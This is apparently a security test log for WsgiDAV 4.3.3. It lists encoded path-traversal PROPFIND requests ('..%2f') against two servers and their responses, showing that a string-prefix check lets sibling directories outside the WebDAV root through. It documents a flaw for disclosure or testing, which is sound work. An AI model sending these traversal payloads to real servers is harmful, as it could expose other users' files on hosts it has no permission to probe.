### Banner (unauth 401 challenge + version footer)
HTTP/2 401 
server: gunicorn
HTTP/2 404 
server: gunicorn
<a href='https://github.com/mar10/wsgidav/'>WsgiDAV/4.3.3</a> - 2026-09-25 06:55:25.429083

### Server A (account mehdik5100a, WebDAV root = /home/mehdik5100a)
PROPFIND /..%2f                   -> 500   BLOCKED outside root: /home   [one level up -> /home (true escape, blocked)]
PROPFIND /..%2f..%2f              -> 500   BLOCKED outside root: /   [two levels up -> / (blocked)]
PROPFIND /..%2fmehdik5100a/www/   -> 207   <?xml version="1.0" encoding="utf-8" ?> <ns0:multistatus xml   [escape then re-enter own home (resolves, 207)]
PROPFIND /..%2fmehdik5100aZZZ/    -> 404   404 Not Found   [sibling sharing root string-prefix -> passes check, 404 not 500]

### Server B (account mehdik5100, WebDAV root = /home/mehdik5100) — independent backend, same bug
PROPFIND /..%2f                   -> 500   BLOCKED outside root: /home   [-> /home (blocked)]
PROPFIND /..%2fmehdik5100ZZZ/     -> 404   404 Not Found   [sibling sharing prefix -> passes check, 404 not 500]